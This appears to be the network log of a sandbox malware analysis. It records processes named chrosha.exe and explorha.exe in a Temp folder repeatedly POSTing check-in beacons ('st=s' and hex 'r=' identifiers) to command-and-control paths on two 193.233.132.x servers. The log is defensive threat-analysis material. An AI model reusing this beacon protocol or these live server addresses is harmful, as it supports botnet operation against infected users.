Apr 19, 2024 03:30:56.110320091 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
213	192.168.2.5	50054	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:56.017062902 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:30:56.260581017 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0
Apr 19, 2024 03:30:56.261573076 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:30:56.510672092 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
214	192.168.2.5	50055	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:56.365078926 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:30:56.619240046 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
215	192.168.2.5	50056	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:56.867306948 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:30:57.116779089 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0
Apr 19, 2024 03:30:57.117664099 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:30:57.372199059 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
216	192.168.2.5	50057	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:56.977468014 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:30:57.222347021 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
217	192.168.2.5	50058	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:57.477798939 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:30:57.734023094 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
218	192.168.2.5	50059	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:57.726686954 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:30:57.976329088 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0
Apr 19, 2024 03:30:57.977828026 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:30:58.231252909 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
219	192.168.2.5	50060	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:58.084778070 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:30:58.331248999 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
220	192.168.2.5	50061	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:58.582355022 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:30:58.835098982 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
221	192.168.2.5	50062	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:58.585127115 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:30:58.833991051 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0
Apr 19, 2024 03:30:58.836147070 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:30:59.089234114 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
222	192.168.2.5	50063	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:59.187922001 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:30:59.431694984 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
223	192.168.2.5	50064	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:59.445780039 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:30:59.692914963 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0
Apr 19, 2024 03:30:59.693774939 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:30:59.947263956 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
224	192.168.2.5	50065	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:59.687695026 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:30:59.941808939 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
225	192.168.2.5	50066	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:00.300474882 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:31:00.545855999 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0
Apr 19, 2024 03:31:00.547195911 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:31:00.802133083 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
226	192.168.2.5	50067	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:00.307631969 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:31:00.557837009 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
227	192.168.2.5	50068	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:00.804778099 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:31:01.053189993 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
228	192.168.2.5	50069	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:01.157346964 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:31:01.400033951 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0
Apr 19, 2024 03:31:01.400871038 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:31:01.647692919 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
229	192.168.2.5	50070	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:01.410794973 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:31:01.653279066 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

